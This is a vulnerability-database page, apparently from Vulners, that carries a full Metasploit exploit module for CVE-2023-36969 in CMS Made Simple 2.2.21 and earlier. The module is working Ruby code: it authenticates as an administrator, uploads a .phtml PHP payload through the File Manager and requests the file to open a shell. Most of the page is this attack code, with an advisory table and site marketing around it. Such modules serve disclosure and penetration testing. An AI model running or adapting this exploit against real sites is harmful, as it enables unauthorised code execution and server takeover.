Lucene search
K

CMS Made Simple 2.2.21 Remote Code Execution

🗓️ 28 Mar 2025 00:00:00Reported by tastyrice, Mirabbas Ağalarov, Okan KurtuluşType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 249 Views

CMS Made Simple 2.2.21 allows RCE via .phar and .phtml files uploaded by authenticated admins.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-36969
6 Jul 202315:15
attackerkb
Circl
CVE-2023-36969
28 Mar 202511:31
circl
CNNVD
CMS Made Simple 代码问题漏洞
6 Jul 202300:00
cnnvd
CVE
CVE-2023-36969
6 Jul 202300:00
cve
Cvelist
CVE-2023-36969
6 Jul 202300:00
cvelist
Metasploit
CmsMadeSimple Authenticated File Manager RCE
28 Mar 202518:50
metasploit
NVD
CVE-2023-36969
6 Jul 202315:15
nvd
OSV
CVE-2023-36969
6 Jul 202315:15
osv
Prion
Design/Logic Flaw
6 Jul 202315:15
prion
Positive Technologies
PT-2023-25757 · Unknown · Cms Made Simple
6 Jul 202300:00
ptsecurity
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::PhpEXE
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
            'Description' => %q{
              CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
              with the .phar or .phtml extensions, enabling execution of PHP code
              leading to RCE. The file can be executed by accessing its URL in the
              /uploads/ directory.
    
              Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Okan Kurtuluş',	# Initial research
              'Mirabbas Ağalarov',	# EDB PoC
              'tastyrice'	# Metasploit Module
            ],
            'References' => [
              ['CVE', '2023-36969'],
              ['EDB', '51600']
            ],
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              [
                'Universal', {}
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2023-06-07',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
            OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
            OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
          ]
        )
      end
    
      def multipart_form_data(uri, data, message)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin', uri),
          'method' => 'POST',
          'data' => data,
          'ctype' => "multipart/form-data; boundary=#{message.bound}",
          'keep_cookies' => true
        )
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '', 'index.php'),
          'method' => 'GET'
        )
        unless res && res.code == 200
          vprint_error('Connection Failed')
          return CheckCode::Unknown
        end
    
        set_cookie = res.get_cookies
        return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
    
        html = res.get_html_document
        version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
        vprint_status("#{peer} - CMS Made Simple Version: #{version}")
    
        return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
    
        CheckCode::Detected
      end
    
      def login
        data = {
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'loginsubmit' => 'Submit'
        }
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
          'method' => 'POST',
          'vars_post' => data,
          'keep_cookies' => true
        )
        fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
    
        store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
        vprint_good("#{peer} - Authentication was successful")
      end
    
      def send_file
        filename = "#{rand_text_alpha(8..12)}.phtml"
        c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
        payload = get_write_exec_payload(unlink_self: true)
    
        # create the message with payload
        message = Rex::MIME::Message.new
        message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
        message.add_part(c, nil, nil, 'form-data; name="__c"')
        message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
        message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
        data = message.to_s
    
        # send payload
        payload_res = multipart_form_data('moduleinterface.php', data, message)
        fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
        vprint_good("#{peer} - File uploaded #{filename}")
    
        # open shell
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'uploads', filename),
          'method' => 'GET'
        )
        return unless res && res.code == 404
    
        print_error("Shell #{shell_name} not found")
      end
    
      def exploit
        login
        send_file
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2025 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 3.18.8
EPSS0.65059
SSVC
249